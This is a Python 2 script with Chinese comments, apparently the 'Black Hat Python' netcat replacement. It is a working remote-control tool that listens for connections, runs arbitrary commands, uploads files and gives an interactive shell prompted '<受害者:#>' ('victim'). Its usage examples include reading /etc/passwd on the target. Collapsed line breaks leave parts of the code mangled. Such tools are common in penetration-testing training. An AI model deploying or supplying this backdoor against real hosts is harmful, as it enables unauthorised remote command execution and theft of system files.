socket | netcat 模拟
#!/opt/local/bin/python2.7
#coding=utf-8
'''
取代netcat
两台主机中其中一台控制另一台
得到北控方的shell
''' import sys
import socket
import getopt
import threading
import subprocess # 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0 # this runs a command and returns the output
def run_command(command): # trim the newline
command = command.rstrip() # run the command and get the output back
try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n" # send the output back to the client
return output # 这里会完成上传、执行shell命令、反弹shell的操作 控制方
def client_handler(client_socket):
global upload
global execute
global command # 检查是不是要求上传文件
if len(upload_destination): # read in all of the bytes and write to our destination
file_buffer = "" #持续接收数据
while True:
data = client_socket.recv(1024) if not data:
break
else:
file_buffer += data #将接收到的数据写到文件中
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close() # acknowledge that we wrote the file out
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination) # 检查是不是要向目标发送shell语句
if len(execute): # run the command
output = run_command(execute) client_socket.send(output) # 检查是不是要得到目标的shell
if command: while True:
# show a simple prompt
client_socket.send("<受害者:#> ") # 接收返还的结果
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024) # we have a valid command so execute it and send back the results
response = run_command(cmd_buffer) # send back the response
client_socket.send(response) # this is for incoming connections
def server_loop():
global target
global port # if no target is defined we listen on all interfaces
if not len(target):
target = "0.0.0.0" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port)) server.listen(5) while True:
client_socket, addr = server.accept() # spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start() # if we don't listen we are a client....make it so.
def client_sender(buffer): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try:
# connect to our target host
client.connect((target,port)) # if we detect input from stdin send it
# if not we are going to wait for the user to punch some in if len(buffer): client.send(buffer) while True: # now wait for data back
recv_len = 1
response = "" while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+= data if recv_len < 4096:
break print response, # wait for more input
buffer = raw_input("")
buffer += "\n" # send it off
client.send(buffer) except:
# just catch generic errors - you can do your homework to beef this up
print "[*] Exception! Exiting." # teardown the connection
client.close() # 列出一些标签
def usage():
print "Netcat Replacement"
print "Usage: bhpnet.py -t target_host -p port"
print "-l --listen - listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run - execute the given file upon receiving a connection"
print "-c --command - initialize a command shell"
print "-u --upload=destination - upon receiving connection upload a file and write to [destination]"
print "Examples: "
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0) def main(): '''
引用全局变量
:return:
'''
global listen
global port
global execute
global command
global upload_destination
global target '''
检查是否输入了参数
'''
if not len(sys.argv[1:]):
usage() # 接收控制参数
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage() for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option" # 检查是不是控制方,并且参数有没有输入 # 如果是被控方
if not listen and len(target) and port > 0: '''
read in the buffer from the commandline
this will block, so send CTRL-D if not sending input
to stdin
''' buffer = sys.stdin.read() '''
开始向被控方发送指令
send data off
'''
client_sender(buffer) '''
如果是控制方
we are going to listen and potentially
upload things, execute commands and drop a shell back
depending on our command line options above
'''
if listen:
# 执行
server_loop() if __name__ == '__main__':
main()
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